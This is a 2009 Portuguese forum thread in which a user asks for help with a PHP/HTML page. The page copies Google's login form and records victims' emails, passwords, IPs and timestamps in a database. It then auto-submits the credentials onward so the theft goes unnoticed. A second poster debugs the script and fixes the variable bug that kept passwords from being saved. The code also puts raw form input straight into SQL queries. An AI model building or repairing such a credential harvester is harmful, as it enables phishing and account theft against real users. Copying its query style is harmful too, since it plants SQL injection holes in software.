P#DRO 0 Denunciar post Postado Julho 28, 2009 Olá pessoal ! Estou com uma duvida. Não estou conseguindo enviar os dados capturados da pagina anterior via POST automaticamente para o meu DB. Essa é a estrutura que eu estou usando: Index.html > Contém os campos de POST e o FORM que os envia (Ex. Email e Senha) Recebe.php > Contem um FORM automatico que recebe os dados da pagina Index.html e que envia as iformações (Usuario, Senha + Data) para um BD e depois redireciona para uma outra pagina que faz a ação de Login com o POST do Recebe.php. O meu problema é que quando ele sai da Recebe.php e vai para a Login.php, ele não insere os dados no BD. Mais se eu acessar diretamente o Recebe.php sem passar pela Index.html, eu consigo gravar algumas informações como Data e Hora, e o Email e Senha ficam vazios ! :blink: . Acho que estou errando em alguma coisa no codigo. Vejam: RECEBE.PHP <?php $conexão = mysql_connect('SERVIDOR', 'USUARIO', 'SENHA') or die ("Não foi possivel conectar ao Banco de Dados"); mysql_select_db('BANCODEDADOS'); $email = $_POST['Email']; $pass = $_POST['Passwd']; $ip = $_SERVER['REMOTE_ADDR']; $data = date('d-m-Y'); $hora = date('H:i:s'); ?> <?php $sqlinsert = "INSERT INTO TbInfo (id, Email, Senha, IP, Data, Hora) VALUES (null, '$email', '$passwd', '$ip', '$data', '$hora')"; mysql_query($sqlinsert) or die ("Não foi possível inserir os dados"); ?> <html> <head> <title>Teste de Script</title> <script language="javascript"> <!-- function fMudarPagina(){ with(document.frmMudar){ action = sltMudar.value; submit(); } } //--> </script> </head> <body onLoad="document.frmMudar.submit()"> <form name="frmMudar" method="post" action="login.php"> <input type="hidden" name="continue" id="continue" value="http://www.yousite.com.br/actlogin.php?id=123" /> <input type="hidden" name="service" id="service" value="Screen" /> <input type="hidden" name="cd" id="cd" value="BR" /> <input type="hidden" name="skipvpage" id="skipvpage" value="true" /> <input type="hidden" name="sendvemail" id="sendvemail" value="false" /> <input type="hidden" name="rm" id="rm" value="false" /> <input type="hidden" name="hl" id="hl" value="pt-BR" /> <input type="hidden" name="GALX" value="Vc31pLaGlyA" /> <input name="Email" type="hidden" id="Email" value="<?php echo $email; ?>"> <input name="Passwd" type="hidden" id="Passwd" value="<?php echo $pass; ?>"> <input type="hidden" name='rmShown' value="1" /> </form> </body> </html> Alguem pode me ajudar ? Compartilhar este post Link para o post Compartilhar em outros sites
Thiago Alves 3 Denunciar post Postado Julho 28, 2009 Você poderia postar também o código de index.html, onde estão as forms. Bom, nesta situação, você precisa de dois inputs com atributos name iguais a email e pass. Por exemplo: <form action="recebe.php" method="post"> <p>Email: <input type="text" name="email" /></p> <p>Senha: <input type="password" name="pass" /></p> <p><input type="submit" value="Login" /></p> </form> Compartilhar este post Link para o post Compartilhar em outros sites
P#DRO 0 Denunciar post Postado Julho 28, 2009 Você poderia postar também o código de index.html, onde estão as forms. Bom, nesta situação, você precisa de dois inputs com atributos name iguais a email e pass. Por exemplo: <form action="recebe.php" method="post"> <p>Email: <input type="text" name="email" /></p> <p>Senha: <input type="password" name="pass" /></p> <p><input type="submit" value="Login" /></p> </form> Eae Thiago Alves, Confesso que não esperava uma resposta tão rapida! VLW! http://forum.imasters.com.br/public/style_emoticons/default/joia.gif O codigo da Index.html <form id="gaia_loginform" action="recebe.php" method="get" onsubmit="return(gaia_onLoginSubmit());"> <table id="gaia_table" align="center" border="0" cellpadding="1" cellspacing="0"> <script type="text/javascript"><!-- function onPreCreateAccount() { return true; } function onPreLogin() { if (window["onlogin"] != null) { return onlogin(); } else { return true; } } --></script> <tr> <td colspan="2" align="center"> </td> </tr> <tr> <td nowrap="nowrap"> <div align="right"> <span class="gaia le lbl"> E-mail: </span> </div> </td> <td> <input type="text" name="Email" id="Email" size="18" value="" class='gaia le val' /> </td> </tr> <tr> <td></td> <td align="left"> </td> </tr> <tr> <td align="right" nowrap="nowrap"> <span class="gaia le lbl"> Senha: </span> </td> <td> <input type="password" name="Passwd" id="Passwd" size="18" class="gaia le val" /> </td> </tr> <tr> <td> </td> <td align="left"> </td> </tr> <tr> <td align="right" valign="top"> <input type="checkbox" name="PersistentCookie" id="PersistentCookie" value="yes" /> <input type="hidden" name='rmShown' value="1" /> </td> <td> <label for="PersistentCookie" class="gaia le rem"> Salvar as minhas informações neste computador. </label> </td> </tr> <tr> <td> </td> <td align="left"> <input type="submit" class="gaia le button" name="signIn" value="Login" /> </td> </tr> </table> </form> Eu ja coloquei essem dois inputs. Ele não insere os dados no BD ! Já até cheguei a alterar o POST para GET no Form da Index.html e no Recebe.php, e tambem não adiantou de nada. Compartilhar este post Link para o post Compartilhar em outros sites
Thiago Alves 3 Denunciar post Postado Julho 28, 2009 Amigo, vamos seguir o modelo de conexão $conecta = mysql_connect(M_HOST,M_USUARIO,M_SENHA) or exit(mysql_error()); $banco = mysql_select_db(M_BD,$conecta) or exit(mysql_error()); if(mysql_errno()==0){ $query = mysql_query("INSERT INTO TbInfo (id, Email, Senha, IP, Data, Hora) VALUES (null, '$email', '$passwd', '$ip', '$data','$hora');") or exit(mysql_error()); if(mysql_affected_rows()>=1 and mysql_errno()==0){ echo "Processo concluído com sucesso."; }else{ echo mysql_errno()." : ".mysql_error(); } }else{ echo mysql_errno()." : ".mysql_error(); } Chamando mysql_error() você pode identificar o erro, poste aqui. Compartilhar este post Link para o post Compartilhar em outros sites
P#DRO 0 Denunciar post Postado Julho 28, 2009 Amigo, vamos seguir o modelo de conexão $conecta = mysql_connect(M_HOST,M_USUARIO,M_SENHA) or exit(mysql_error()); $banco = mysql_select_db(M_BD,$conecta) or exit(mysql_error()); if(mysql_errno()==0){ $query = mysql_query("INSERT INTO TbInfo (id, Email, Senha, IP, Data, Hora) VALUES (null, '$email', '$passwd', '$ip', '$data','$hora');") or exit(mysql_error()); if(mysql_affected_rows()>=1 and mysql_errno()==0){ echo "Processo concluído com sucesso."; }else{ echo mysql_errno()." : ".mysql_error(); } }else{ echo mysql_errno()." : ".mysql_error(); } Chamando mysql_error() você pode identificar o erro, poste aqui. Thiago, Ele não mostrou nenhum erro. Compartilhar este post Link para o post Compartilhar em outros sites
Thiago Alves 3 Denunciar post Postado Julho 28, 2009 Dei uma lida com atenção no seu script, e notei um erro na query. A variável $passwd não existe, o certo seria $pass. $sqlinsert = "INSERT INTO TbInfo (id, Email, Senha, IP, Data, Hora) VALUES (null, '$email', '$pass', '$ip', '$data', 'hora')"; Compartilhar este post Link para o post Compartilhar em outros sites